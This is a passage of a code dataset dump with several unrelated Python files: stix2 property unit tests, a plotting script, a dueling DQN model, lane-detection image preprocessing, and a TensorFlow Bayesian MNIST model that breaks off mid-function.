'__main__':\n parser = parse_args()\n args = parser.parse_args()\n\n if args.action == 'add':\n add(args.first_name, args.last_name, args.number)\n\n elif args.action == 'search':\n search(args.first_name, args.last_name)\n\n elif args.action == 'list':\n list()\n\n elif args.action == 'remove':\n remove(args.first_name, args.last_name)\n\n elif args.action == 'delete':\n delete()\n\n elif args.action == 'update':\n update(args.first_name, args.last_name, args.number)\n","sub_path":"phonebook.py","file_name":"phonebook.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"393567896","text":"import uuid\n\nimport pytest\n\nimport stix2\nfrom stix2.exceptions import (\n AtLeastOnePropertyError, CustomContentError, DictionaryKeyError,\n)\nfrom stix2.properties import (\n BinaryProperty, BooleanProperty, DictionaryProperty,\n EmbeddedObjectProperty, EnumProperty, ExtensionsProperty, FloatProperty,\n HashesProperty, HexProperty, IDProperty, IntegerProperty, ListProperty,\n Property, ReferenceProperty, STIXObjectProperty, StringProperty,\n TimestampProperty, TypeProperty,\n)\nfrom stix2.v20.common import MarkingProperty\n\nfrom . import constants\n\n\ndef test_property():\n p = Property()\n\n assert p.required is False\n assert p.clean('foo') == 'foo'\n assert p.clean(3) == 3\n\n\ndef test_basic_clean():\n class Prop(Property):\n\n def clean(self, value):\n if value == 42:\n return value\n else:\n raise ValueError(\"Must be 42\")\n\n p = Prop()\n\n assert p.clean(42) == 42\n with pytest.raises(ValueError):\n p.clean(41)\n\n\ndef test_property_default():\n class Prop(Property):\n\n def default(self):\n return 77\n\n p = Prop()\n\n assert p.default() == 77\n\n\ndef test_fixed_property():\n p = Property(fixed=\"2.0\")\n\n assert p.clean(\"2.0\")\n with pytest.raises(ValueError):\n assert p.clean(\"x\") is False\n with pytest.raises(ValueError):\n assert p.clean(2.0) is False\n\n assert p.default() == \"2.0\"\n assert p.clean(p.default())\n\n\ndef test_list_property():\n p = ListProperty(StringProperty)\n\n assert p.clean(['abc', 'xyz'])\n with pytest.raises(ValueError):\n p.clean([])\n\n\ndef test_string_property():\n prop = StringProperty()\n\n assert prop.clean('foobar')\n assert prop.clean(1)\n assert prop.clean([1, 2, 3])\n\n\ndef test_type_property():\n prop = TypeProperty('my-type')\n\n assert prop.clean('my-type')\n with pytest.raises(ValueError):\n prop.clean('not-my-type')\n assert prop.clean(prop.default())\n\n\nID_PROP = IDProperty('my-type', spec_version=\"2.0\")\nMY_ID = 'my-type--232c9d3f-49fc-4440-bb01-607f638778e7'\n\n\n@pytest.mark.parametrize(\n \"value\", [\n MY_ID,\n 'my-type--00000000-0000-4000-8000-000000000000',\n ],\n)\ndef test_id_property_valid(value):\n assert ID_PROP.clean(value) == value\n\n\nCONSTANT_IDS = [\n constants.ATTACK_PATTERN_ID,\n constants.CAMPAIGN_ID,\n constants.COURSE_OF_ACTION_ID,\n constants.IDENTITY_ID,\n constants.INDICATOR_ID,\n constants.INTRUSION_SET_ID,\n constants.MALWARE_ID,\n constants.MARKING_DEFINITION_ID,\n constants.OBSERVED_DATA_ID,\n constants.RELATIONSHIP_ID,\n constants.REPORT_ID,\n constants.SIGHTING_ID,\n constants.THREAT_ACTOR_ID,\n constants.TOOL_ID,\n constants.VULNERABILITY_ID,\n]\nCONSTANT_IDS.extend(constants.MARKING_IDS)\nCONSTANT_IDS.extend(constants.RELATIONSHIP_IDS)\n\n\n@pytest.mark.parametrize(\"value\", CONSTANT_IDS)\ndef test_id_property_valid_for_type(value):\n type = value.split('--', 1)[0]\n assert IDProperty(type=type, spec_version=\"2.0\").clean(value) == value\n\n\ndef test_id_property_wrong_type():\n with pytest.raises(ValueError) as excinfo:\n ID_PROP.clean('not-my-type--232c9d3f-49fc-4440-bb01-607f638778e7')\n assert str(excinfo.value) == \"must start with 'my-type--'.\"\n\n\n@pytest.mark.parametrize(\n \"value\", [\n 'my-type--foo',\n # Not a v4 UUID\n 'my-type--00000000-0000-0000-0000-000000000000',\n 'my-type--' + str(uuid.uuid1()),\n 'my-type--' + str(uuid.uuid3(uuid.NAMESPACE_DNS, \"example.org\")),\n 'my-type--' + str(uuid.uuid5(uuid.NAMESPACE_DNS, \"example.org\")),\n ],\n)\ndef test_id_property_not_a_valid_hex_uuid(value):\n with pytest.raises(ValueError):\n ID_PROP.clean(value)\n\n\ndef test_id_property_default():\n default = ID_PROP.default()\n assert ID_PROP.clean(default) == default\n\n\n@pytest.mark.parametrize(\n \"value\", [\n 2,\n -1,\n 3.14,\n False,\n ],\n)\ndef test_integer_property_valid(value):\n int_prop = IntegerProperty()\n assert int_prop.clean(value) is not None\n\n\n@pytest.mark.parametrize(\n \"value\", [\n -1,\n -100,\n -5 * 6,\n ],\n)\ndef test_integer_property_invalid_min_with_constraints(value):\n int_prop = IntegerProperty(min=0, max=180)\n with pytest.raises(ValueError) as excinfo:\n int_prop.clean(value)\n assert \"minimum value is\" in str(excinfo.value)\n\n\n@pytest.mark.parametrize(\n \"value\", [\n 181,\n 200,\n 50 * 6,\n ],\n)\ndef test_integer_property_invalid_max_with_constraints(value):\n int_prop = IntegerProperty(min=0, max=180)\n with pytest.raises(ValueError) as excinfo:\n int_prop.clean(value)\n assert \"maximum value is\" in str(excinfo.value)\n\n\n@pytest.mark.parametrize(\n \"value\", [\n \"something\",\n StringProperty(),\n ],\n)\ndef test_integer_property_invalid(value):\n int_prop = IntegerProperty()\n with pytest.raises(ValueError):\n int_prop.clean(value)\n\n\n@pytest.mark.parametrize(\n \"value\", [\n 2,\n -1,\n 3.14,\n False,\n ],\n)\ndef test_float_property_valid(value):\n int_prop = FloatProperty()\n assert int_prop.clean(value) is not None\n\n\n@pytest.mark.parametrize(\n \"value\", [\n \"something\",\n StringProperty(),\n ],\n)\ndef test_float_property_invalid(value):\n int_prop = FloatProperty()\n with pytest.raises(ValueError):\n int_prop.clean(value)\n\n\n@pytest.mark.parametrize(\n \"value\", [\n True,\n False,\n 'True',\n 'False',\n 'true',\n 'false',\n 'TRUE',\n 'FALSE',\n 'T',\n 'F',\n 't',\n 'f',\n 1,\n 0,\n ],\n)\ndef test_boolean_property_valid(value):\n bool_prop = BooleanProperty()\n\n assert bool_prop.clean(value) is not None\n\n\n@pytest.mark.parametrize(\n \"value\", [\n 'abc',\n ['false'],\n {'true': 'true'},\n 2,\n -1,\n ],\n)\ndef test_boolean_property_invalid(value):\n bool_prop = BooleanProperty()\n with pytest.raises(ValueError):\n bool_prop.clean(value)\n\n\ndef test_reference_property():\n ref_prop = ReferenceProperty(valid_types=\"my-type\", spec_version=\"2.0\")\n\n assert ref_prop.clean(\"my-type--00000000-0000-4000-8000-000000000000\")\n with pytest.raises(ValueError):\n ref_prop.clean(\"foo\")\n\n # This is not a valid V4 UUID\n with pytest.raises(ValueError):\n ref_prop.clean(\"my-type--00000000-0000-0000-0000-000000000000\")\n\n\ndef test_reference_property_specific_type():\n ref_prop = ReferenceProperty(valid_types=\"my-type\", spec_version=\"2.0\")\n\n with pytest.raises(ValueError):\n ref_prop.clean(\"not-my-type--8a8e8758-f92c-4058-ba38-f061cd42a0cf\")\n\n assert ref_prop.clean(\"my-type--8a8e8758-f92c-4058-ba38-f061cd42a0cf\") == \\\n \"my-type--8a8e8758-f92c-4058-ba38-f061cd42a0cf\"\n\n\n@pytest.mark.parametrize(\n \"value\", [\n '2017-01-01T12:34:56Z',\n ],\n)\ndef test_timestamp_property_valid(value):\n ts_prop = TimestampProperty()\n assert ts_prop.clean(value) == constants.FAKE_TIME\n\n\ndef test_timestamp_property_invalid():\n ts_prop = TimestampProperty()\n with pytest.raises(TypeError):\n ts_prop.clean(1)\n with pytest.raises(ValueError):\n ts_prop.clean(\"someday sometime\")\n\n\ndef test_binary_property():\n bin_prop = BinaryProperty()\n\n assert bin_prop.clean(\"TG9yZW0gSXBzdW0=\")\n with pytest.raises(ValueError):\n bin_prop.clean(\"foobar\")\n\n\ndef test_hex_property():\n hex_prop = HexProperty()\n\n assert hex_prop.clean(\"4c6f72656d20497073756d\")\n with pytest.raises(ValueError):\n hex_prop.clean(\"foobar\")\n\n\n@pytest.mark.parametrize(\n \"d\", [\n {'description': 'something'},\n [('abc', 1), ('bcd', 2), ('cde', 3)],\n ],\n)\ndef test_dictionary_property_valid(d):\n dict_prop = DictionaryProperty(spec_version=\"2.0\")\n assert dict_prop.clean(d)\n\n\n@pytest.mark.parametrize(\n \"d\", [\n [{'a': 'something'}, \"Invalid dictionary key a: (shorter than 3 characters).\"],\n [\n {'a'*300: 'something'}, \"Invalid dictionary key aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n \"aaaaaaaaaaaaaaaaaaaaaaa: (longer than 256 characters).\",\n ],\n [\n {'Hey!': 'something'}, \"Invalid dictionary key Hey!: (contains characters other than lowercase a-z, \"\n \"uppercase A-Z, numerals 0-9, hyphen (-), or underscore (_)).\",\n ],\n ],\n)\ndef test_dictionary_property_invalid_key(d):\n dict_prop = DictionaryProperty(spec_version=\"2.0\")\n\n with pytest.raises(DictionaryKeyError) as excinfo:\n dict_prop.clean(d[0])\n\n assert str(excinfo.value) == d[1]\n\n\n@pytest.mark.parametrize(\n \"d\", [\n # TODO: This error message could be made more helpful. The error is caused\n # because `json.loads()` doesn't like the *single* quotes around the key\n # name, even though they are valid in a Python dictionary. While technically\n # accurate (a string is not a dictionary), if we want to be able to load\n # string-encoded \"dictionaries\" that are, we need a better error message\n # or an alternative to `json.loads()` ... and preferably *not* `eval()`. :-)\n # Changing the following to `'{\"description\": \"something\"}'` does not cause\n # any ValueError to be raised.\n (\"{'description': 'something'}\", \"The dictionary property must contain a dictionary\"),\n ],\n)\ndef test_dictionary_property_invalid(d):\n dict_prop = DictionaryProperty(spec_version=\"2.0\")\n\n with pytest.raises(ValueError) as excinfo:\n dict_prop.clean(d[0])\n assert str(excinfo.value) == d[1]\n\n\ndef test_property_list_of_dictionary():\n @stix2.v20.CustomObject(\n 'x-new-obj-4', [\n ('property1', ListProperty(DictionaryProperty(spec_version=\"2.0\"), required=True)),\n ],\n )\n class NewObj():\n pass\n\n test_obj = NewObj(property1=[{'foo': 'bar'}])\n assert test_obj.property1[0]['foo'] == 'bar'\n\n\n@pytest.mark.parametrize(\n \"value\", [\n {\"sha256\": \"6db12788c37247f2316052e142f42f4b259d6561751e5f401a1ae2a6df9c674b\"},\n [('MD5', '2dfb1bcc980200c6706feee399d41b3f'), ('RIPEMD-160', 'b3a8cd8a27c90af79b3c81754f267780f443dfef')],\n ],\n)\ndef test_hashes_property_valid(value):\n hash_prop = HashesProperty()\n assert hash_prop.clean(value)\n\n\n@pytest.mark.parametrize(\n \"value\", [\n {\"MD5\": \"a\"},\n {\"SHA-256\": \"2dfb1bcc980200c6706feee399d41b3f\"},\n ],\n)\ndef test_hashes_property_invalid(value):\n hash_prop = HashesProperty()\n\n with pytest.raises(ValueError):\n hash_prop.clean(value)\n\n\ndef test_embedded_property():\n emb_prop = EmbeddedObjectProperty(type=stix2.v20.EmailMIMEComponent)\n mime = stix2.v20.EmailMIMEComponent(\n content_type=\"text/plain; charset=utf-8\",\n content_disposition=\"inline\",\n body=\"Cats are funny!\",\n )\n assert emb_prop.clean(mime)\n\n with pytest.raises(ValueError):\n emb_prop.clean(\"string\")\n\n\n@pytest.mark.parametrize(\n \"value\", [\n ['a', 'b', 'c'],\n ('a', 'b', 'c'),\n 'b',\n ],\n)\ndef test_enum_property_valid(value):\n enum_prop = EnumProperty(value)\n assert enum_prop.clean('b')\n\n\ndef test_enum_property_invalid():\n enum_prop = EnumProperty(['a', 'b', 'c'])\n with pytest.raises(ValueError):\n enum_prop.clean('z')\n\n\ndef test_extension_property_valid():\n ext_prop = ExtensionsProperty(spec_version=\"2.0\", enclosing_type='file')\n assert ext_prop({\n 'windows-pebinary-ext': {\n 'pe_type': 'exe',\n },\n })\n\n\ndef test_extension_property_invalid1():\n ext_prop = ExtensionsProperty(spec_version=\"2.0\", enclosing_type='file')\n with pytest.raises(ValueError):\n ext_prop.clean(1)\n\n\ndef test_extension_property_invalid2():\n ext_prop = ExtensionsProperty(spec_version=\"2.0\", enclosing_type='file')\n with pytest.raises(CustomContentError):\n ext_prop.clean(\n {\n 'foobar-ext': {\n 'pe_type': 'exe',\n },\n },\n )\n\n\ndef test_extension_property_invalid_type():\n ext_prop = ExtensionsProperty(spec_version=\"2.0\", enclosing_type='indicator')\n with pytest.raises(CustomContentError) as excinfo:\n ext_prop.clean(\n {\n 'windows-pebinary-ext': {\n 'pe_type': 'exe',\n },\n },\n )\n assert \"Can't parse unknown extension\" in str(excinfo.value)\n\n\ndef test_extension_at_least_one_property_constraint():\n with pytest.raises(AtLeastOnePropertyError):\n stix2.v20.TCPExt()\n\n\ndef test_marking_property_error():\n mark_prop = MarkingProperty()\n\n with pytest.raises(ValueError) as excinfo:\n mark_prop.clean('my-marking')\n\n assert str(excinfo.value) == \"must be a Statement, TLP Marking or a registered marking.\"\n\n\ndef test_stix_property_not_compliant_spec():\n # This is a 2.0 test only...\n indicator = stix2.v20.Indicator(spec_version=\"2.0\", allow_custom=True, **constants.INDICATOR_KWARGS)\n stix_prop = STIXObjectProperty(spec_version=\"2.0\")\n\n with pytest.raises(ValueError) as excinfo:\n stix_prop.clean(indicator)\n\n assert \"Spec version 2.0 bundles don't yet support containing objects of a different spec version.\" in str(excinfo.value)\n","sub_path":"stix2/test/v20/test_properties.py","file_name":"test_properties.py","file_ext":"py","file_size_in_byte":13575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"178849963","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# draw a pic\n\n# In[87]:\n\n\nimport pandas as pd\nimport csv\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport calendar\nfrom collections import Counter\nimport math\nimport numpy as np\n\ndatapath = 'final_df_sum.csv'\ndata = pd.read_csv(datapath , encoding = 'utf8')\n\ndata = data.sort_values(by=['place_frd_possi'], ascending=False)\n\n############################################################\n\nprint('data.shape[0]')\nprint(data.shape[0])\n\nfinal_df = data[~data['entropy'].isin([0])]\n\nprint('final_df.shape[0]')\nprint(final_df.shape[0])\n\nfinal_df = data[~data['place_frd_possi'].isin([0])]\n\nprint('final_df.shape[0]--2')\nprint(final_df.shape[0])\n\nfinal_df['counter'] = range(len(final_df))\n\nfinal_df['score'] = final_df['score'].map(lambda x: math.log10(x))\n\nfinal_df['place_frd_possi'] = final_df['place_frd_possi'].map(lambda x: math.log10(x))\n\n#final_df.head(50)\n#plt.rcParams['figure.figsize'] = (12, 8)\n#plt.scatter(final_df[\"counter\"], final_df[\"entropy\"], s = 15)\n\nxxx = final_df['place_frd_possi']\ny_entropy = final_df['entropy']\ny_cnts = final_df['score']\n\n###############################################\n\nfig = plt.figure()\n\nplt.rcParams['figure.figsize'] = (9, 6)\n\nplt.scatter(y_cnts, y_entropy, s = 15, color='black', label = 'scatter')\n\nfit1 = np.polyfit(y_cnts, y_entropy, 2)\np1 = np.poly1d(fit1)\nx1 = np.linspace(0.3,4,100)\npp1 = p1(x1)\n\nplt.plot(x1,pp1,color='b',label='functionfit')#100个x及对应y值绘制的曲线\n\nplt.xlabel('number of \"check-ins\"')\nplt.ylabel('entropy')\n\nplt.xticks([0.5, 1.0, 1.5, 2.0, 2.5, 3.0, 3.5, 4.0],\n ['$\\mathregular{10^{0.5}}$', '$\\mathregular{10^{1}}$', '$\\mathregular{10^{1.5}}$','$\\mathregular{10^{2}}$', '$\\mathregular{10^{2.5}}$','$\\mathregular{10^{3}}$', '$\\mathregular{10^{3.5}}$', '$\\mathregular{10^{4}}$'])\n\n#plt.yticks([0.0, -0.5, -1.0, -1.5, -2.0, -2.5, -3.0],\n# ['$\\mathregular{10^0}$', '$\\mathregular{10^{-0.5}}$', '$\\mathregular{10^{-1}}$','$\\mathregular{10^{-1.5}}$', '$\\mathregular{10^{-2}}$','$\\mathregular{10^{-2.5}}$', '$\\mathregular{10^{-3}}$'])\n\n\nplt.legend()\nplt.show()\n\n\n\n'''\nfig = plt.figure()\nax = fig.add_subplot(111)\n#plt.scatter(xxx, y_entropy, s = 15, label = 'entropy')\nax.plot(xxx, y_entropy, '-', label = 'entropy')\nax2 = ax.twinx()\n#ax2.plot(xxx, y_cnts, '-r', label = 'cnts')\nplt.scatter(xxx, y_cnts, s = 15, label = 'cnts')\nax.legend(loc=0)\nax.grid()\nax.set_xlabel(\"numbers\")\nax.set_ylabel(r\"entropy\")\nax2.set_ylabel(r\"cnts\")\nax.set_ylim(0,5.5)\nax2.set_ylim(0,10)\nax2.legend(loc=0)\n#plt.savefig('0.png')\n\nplt.show\n'''\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"4_trajectory/cc3_entropypossibilitydrawpic.py","file_name":"cc3_entropypossibilitydrawpic.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"168907904","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nfrom .DQN import DQN\nfrom .NoisyLinear import NoisyLinear\n\n\nclass DuelingDQN(DQN):\n\n def __init__(self, state_dimensions, num_actions, sigma):\n \"\"\"\n Dueling Deep Q-Network\n\n :param state_dimensions: State dimensions (input dimensions)\n :param num_actions: Number of actions that can be taken\n :param sigma: Sigma0 for noisy nets (0 if want to use eps greedy instead)\n \"\"\"\n\n super(DuelingDQN, self).__init__(state_dimensions, num_actions, sigma)\n\n self.num_actions = num_actions\n\n self.conv1 = nn.Conv2d(in_channels=4, out_channels=16, kernel_size=8, stride=4)\n self.conv2 = nn.Conv2d(in_channels=16, out_channels=64, kernel_size=4, stride=2)\n self.conv3 = nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=1)\n\n self.fc_size = ((int((((state_dimensions - 8) / 4 + 1) - 4) / 2 + 1)) ** 2) * 64\n\n if sigma > 0:\n self.fcAdvantage0 = NoisyLinear(self.fc_size, 512, sigma=sigma)\n self.fcAdvantage = NoisyLinear(512, num_actions, sigma=sigma)\n self.fcValue0 = NoisyLinear(self.fc_size, 512, sigma=sigma)\n self.fcValue = NoisyLinear(512, 1, sigma=sigma)\n else:\n self.fcAdvantage0 = nn.Linear(self.fc_size, 512)\n self.fcAdvantage = nn.Linear(512, num_actions)\n self.fcValue0 = nn.Linear(self.fc_size, 512)\n self.fcValue = nn.Linear(512, 1)\n\n def forward(self, x):\n\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n x = x.view(-1, self.fc_size)\n\n value = F.relu(self.fcValue0(x))\n value = self.fcValue(value)\n\n advantage = F.relu(self.fcAdvantage0(x))\n advantage = self.fcAdvantage(advantage)\n\n q_values = value + advantage - torch.mean(advantage) # subtract mean to show network that advantage should be 0\n\n return q_values\n","sub_path":"Models/DuelingDQN.py","file_name":"DuelingDQN.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"92131382","text":"import numpy as np\nimport cv2\nimport glob\nimport matplotlib.pyplot as plt\nimport os.path\nimport pickle\n\nsrc = np.float32([[203, 720], [585, 460], [695, 460], [1127, 720]])\n\ndst = np.float32([[320, 720], [320, 0], [960, 0], [960, 720]])\n\ndef get_camera_calibrations():\n cmtx = None\n cdist = None\n if os.path.isfile(\"camera_cal/camera_cal.p\"):\n with open('camera_cal/camera_cal.p', 'rb') as f:\n out = pickle.load(f)\n cmtx = out[\"mtx\"]\n cdist = out[\"dist\"]\n else:\n # prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0)\n objp = np.zeros((6 * 9, 3), np.float32)\n objp[:, :2] = np.mgrid[0:9, 0:6].T.reshape(-1, 2)\n\n # Arrays to store object points and image points from all the images.\n objpoints = [] # 3d points in real world space\n imgpoints = [] # 2d points in image plane.\n\n # Make a list of calibration images\n images = glob.glob('camera_cal/calibration*.jpg')\n\n img = cv2.imread(images[0])\n img_size = (img.shape[1], img.shape[0])\n # Step through the list and search for chessboard corners\n for idx, fname in enumerate(images):\n img = cv2.imread(fname)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Find the chessboard corners\n ret, corners = cv2.findChessboardCorners(gray, (9, 6), None)\n\n # If found, add object points, image points\n if ret == True:\n objpoints.append(objp)\n imgpoints.append(corners)\n\n # Draw and display the corners\n cv2.drawChessboardCorners(img, (9, 6), corners, ret)\n cv2.imshow('img', img)\n cv2.waitKey(500)\n cv2.destroyAllWindows()\n\n # Do camera calibration given object points and image points\n ret, cmtx, cdist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, img_size, None, None)\n\n # Save the camera calibration result for later use (we won't worry about rvecs / tvecs)\n dist_pickle = {}\n dist_pickle[\"mtx\"] = cmtx\n dist_pickle[\"dist\"] = cdist\n pickle.dump(dist_pickle, open(\"camera_cal/camera_cal.p\", \"wb\"))\n return cmtx, cdist\n\n\ndef format_coord(x, y):\n col = int(x + 0.5)\n row = int(y + 0.5)\n return 'x=%1.4f, y=%1.4f' % (x, y)\n\n\ndef get_transform_matrix():\n M = cv2.getPerspectiveTransform(src, dst)\n return M\n\ndef get_inv_transform_matrix():\n invM = cv2.getPerspectiveTransform(dst, src)\n return invM\n\n\ndef get_thresholds(img, b_thresh=(0, 110),l_thresh=(225, 255),sx_thresh=(30,100)):\n img = np.copy(img)\n # Convert to HLS color space and separate the V channel\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS).astype(np.float)\n luv = cv2.cvtColor(img, cv2.COLOR_RGB2LUV).astype(np.float)\n lab = cv2.cvtColor(img, cv2.COLOR_RGB2LAB).astype(np.float)\n\n l_channel = luv[:, :, 0]\n b_channel = lab[:, :, 2]\n s_channel = hls[:, :, 2]\n # Sobel x\n sobelx = cv2.Sobel(s_channel, cv2.CV_64F, 1, 0) # Take the derivative in x\n abs_sobelx = np.absolute(sobelx) # Absolute x derivative to accentuate lines away from horizontal\n scaled_sobelx = np.uint8(255 * abs_sobelx / np.max(abs_sobelx))\n\n # Threshold x gradient\n l_binary = np.zeros_like(l_channel)\n l_binary[(l_channel >= l_thresh[0]) & (l_channel <= l_thresh[1])] = 1\n\n # Threshold color channel\n b_binary = np.zeros_like(b_channel)\n b_binary[(b_channel >= b_thresh[0]) & (b_channel <= b_thresh[1])] = 1\n\n # Threshold x gradient\n sxbinary = np.zeros_like(scaled_sobelx)\n sxbinary[(scaled_sobelx >= sx_thresh[0]) & (scaled_sobelx <= sx_thresh[1])] = 1\n\n # Combine the two binary thresholds\n combined_binary = np.zeros_like(l_binary)\n combined_binary[(b_binary == 1)|(l_binary == 1)|(sxbinary == 1)] = 1\n return combined_binary\n\n\ndef preprocess_image(img):\n ysize = img.shape[0]\n xsize = img.shape[1]\n\n # img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n dst = cv2.undistort(img, mtx, dist, None, mtx)\n img_size = (dst.shape[1], dst.shape[0])\n binary = get_thresholds(dst)\n\n binary_warped = cv2.warpPerspective(binary, M, img_size, flags=cv2.INTER_LINEAR)\n\n return dst,binary,binary_warped\n # return dst,binary,None,None,None\n\n\nmtx, dist = get_camera_calibrations()\n\nM = get_transform_matrix()\n\ndstimg = cv2.imread('./camera_cal/calibration1.jpg')\nundstimg = cv2.undistort(dstimg, mtx, dist, None, mtx)\ncv2.imwrite('./output_images/cal_out.jpg',undstimg)\n","sub_path":"PreProcessing.py","file_name":"PreProcessing.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"328411939","text":"from models.base_model import BaseModel\nimport tensorflow as tf\nimport numpy as np\n\nclass MnistInduceModel(BaseModel):\n def __init__(self, data_loader, config):\n super(MnistInduceModel, self).__init__(config)\n # Get the data_loader to make the joint of the inputs in the graph\n self.data_loader = data_loader\n\n # define some important variables\n self.x = None\n self.y = None\n self.learning_rate = None\n self.training = None\n self.argmax = None\n self.loss = None\n self.acc = None\n self.optimizer = None\n self.train_op = None\n self.score_train_op = None\n\n self.build_model()\n self.init_saver()\n\n def build_model(self):\n \"\"\"\n\n :return:\n \"\"\"\n\n \"\"\"\n Helper Variables\n \"\"\"\n self.global_step_tensor = tf.Variable(0, trainable=False, name='global_step')\n self.global_step_inc = self.global_step_tensor.assign(self.global_step_tensor+1)\n self.global_epoch_tensor = tf.Variable(0, trainable=False, name='global_epoch')\n self.global_epoch_inc = self.global_epoch_tensor.assign(self.global_epoch_tensor+1)\n\n self.learning_rate = tf.Variable(self.config.learning_rate, name='learning_rate')\n learning_rate_decay_op = tf.assign(self.learning_rate, 0.2*self.learning_rate)\n tf.add_to_collection('learning_rate_decay_op', learning_rate_decay_op)\n \"\"\"\n Inputs to the network\n \"\"\"\n with tf.variable_scope('inputs'):\n self.x, self.y = self.data_loader.get_input()\n self.training = tf.placeholder(tf.bool, name='training_flag')\n tf.add_to_collection('inputs', self.x)\n tf.add_to_collection('inputs', self.y)\n tf.add_to_collection('inputs', self.training)\n\n\n \"\"\"\n Pseudo inputs to the network\n \"\"\"\n if self.config.init_pseudo_x == 'noise' and self.config.init_pseudo_y == 'rand_int':\n self.x_pseudo = np.random.normal(size=[self.config.pseudo_dim]+list(self.x.get_shape())[1:])\n self.y_pseudo = np.eye(10)[np.random.randint(0, 10, size=[self.config.pseudo_dim])].astype(int)\n elif self.config.init_pseudo_x == 'sample' and self.config.init_pseudo_y == 'sample':\n self.x_pseudo, self.y_pseudo = self.data_loader.sample_train_input(self.config.pseudo_dim)\n\n self.x_pseudo = tf.Variable(self.x_pseudo, name='x_pseudo', dtype=tf.float32)\n\n \"\"\"\n Network Architecture\n \"\"\"\n print('Building network...')\n self.weights = MnistInduceModel.create_weights(self.config.num_particles)\n log_prior = MnistInduceModel.log_prior(self.weights)\n\n with tf.variable_scope('network'):\n self.logits = MnistInduceModel.logits_from_x(self.weights, self.x)\n log_lik = MnistInduceModel.log_lik_from_logits(self.y, self.logits, self.config.train_dim)\n tf.add_to_collection('logit', self.logits)\n\n with tf.variable_scope('network_pseudo'):\n logits_pseudo = MnistInduceModel.logits_from_x(self.weights, self.x_pseudo)\n log_lik_pseudo = MnistInduceModel.log_lik_from_logits(self.y_pseudo, logits_pseudo, self.config.train_dim)\n\n \"\"\"\n Some operators for the training process\n \"\"\"\n def log_prob_fn(_weights):\n _log_prior = MnistInduceModel.log_prior(_weights)\n _logits_pseudo = MnistInduceModel.logits_from_x(_weights, self.x_pseudo)\n _log_lik_pseudo = MnistInduceModel.log_lik_from_logits(self.y_pseudo, _logits_pseudo, self.config.train_dim)\n\n return _log_prior+_log_lik_pseudo\n\n with tf.variable_scope('train_op'):\n self.train_op, self.acpt = MnistInduceModel.mala_step(self.weights, log_prob_fn, self.learning_rate, self.config.num_walk_per_step)\n\n with tf.variable_scope('score_loss'):\n grad1 = tf.gradients(log_lik, [self.weights])[0]/float(self.config.train_dim)\n grad2 = tf.gradients(log_lik_pseudo, [self.weights])[0]/float(self.config.train_dim)\n self.score_loss = tf.reduce_mean(tf.square(grad1-grad2))\n\n with tf.variable_scope('score_train_op'):\n self.score_optimizer = tf.train.GradientDescentOptimizer(self.config.score_learning_rate)\n with tf.control_dependencies([self.train_op]):\n self.score_train_op = self.score_optimizer.minimize(\n self.score_loss, global_step=self.global_step_tensor, var_list=[self.x_pseudo])\n\n with tf.variable_scope('argmax'):\n softmax = tf.nn.softmax(self.logits)\n self.argmax = tf.argmax(tf.reduce_mean(softmax, axis=0), axis=-1, output_type=tf.int64, name='argmax')\n\n with tf.variable_scope('acc'):\n y_argmax = tf.argmax(self.y, axis=-1)\n self.acc = tf.reduce_mean(tf.cast(tf.equal(y_argmax, self.argmax), tf.float32))\n\n tf.add_to_collection('train', self.train_op)\n tf.add_to_collection('train', self.score_train_op)\n tf.add_to_collection('train', self.score_loss)\n tf.add_to_collection('train', self.acc)\n tf.add_to_collection('train', self.acpt)\n\n def init_saver(self):\n \"\"\"\n initialize the tensorflow saver that will be used in saving the checkpoints.\n :return:\n \"\"\"\n self.saver = tf.train.Saver(max_to_keep=self.config.max_to_keep, save_relative_paths=True)\n\n @staticmethod\n def create_weights(num_particles, name='weights'):\n layer_dims = [784, 200, 200, 10]\n weights = []\n for in_dim, out_dim in zip(layer_dims[:-1], layer_dims[1:]):\n kernel = tf.truncated_normal([num_particles, in_dim*out_dim])\n bias = tf.zeros([num_particles, out_dim])\n weights.extend([kernel, bias])\n\n weights = tf.concat(weights, axis=1)\n weights = tf.Variable(weights, name='weights')\n\n return weights\n\n @staticmethod\n def gather_kernel_and_bias(weights, in_dim, out_dim, start_idx=0):\n kernel = 